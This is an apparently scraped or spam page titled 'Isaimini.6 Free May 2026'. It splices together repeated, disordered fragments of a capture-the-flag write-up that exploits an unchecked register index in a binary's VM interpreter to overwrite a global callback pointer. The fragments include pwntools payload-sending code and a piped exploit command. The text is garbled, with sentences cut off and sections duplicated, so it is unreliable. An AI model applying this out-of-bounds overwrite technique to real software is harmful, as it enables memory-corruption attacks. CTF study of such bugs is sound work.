Isaimini.6 Free May 2026

# Send payload p = process(binary) p.send(payload) print(p.recvall().decode()) Running this script prints the flag (or “Success!”). | Technique | Why it mattered | |-----------|-----------------| | Static analysis of a stripped binary | Ghidra’s decompiler can

*(uint64_t*)regs[dst] = regs[src]; regs[dst] is taken directly from a user‑controlled register index. The interpreter that dst is within 0‑15 . If we use a register index of 0x10 (16) , regs[16] points past the allocated register array, landing in the .bss area where the global variable callback lives: isaimini.6

void win(void) puts("Success!"); // In the real challenge this prints the flag, e.g. // system("/bin/cat flag.txt"); # Send payload p = process(binary) p

if (callback != NULL) ((void (*)(void))callback)(); callback is a global 8‑byte variable at 0x00603010 , initialised to 0 . The only way to set it is through the ST instruction (store to memory). If we use a register index of 0x10

# Send the payload via stdin printf "$payload" | ./isaimini.6 :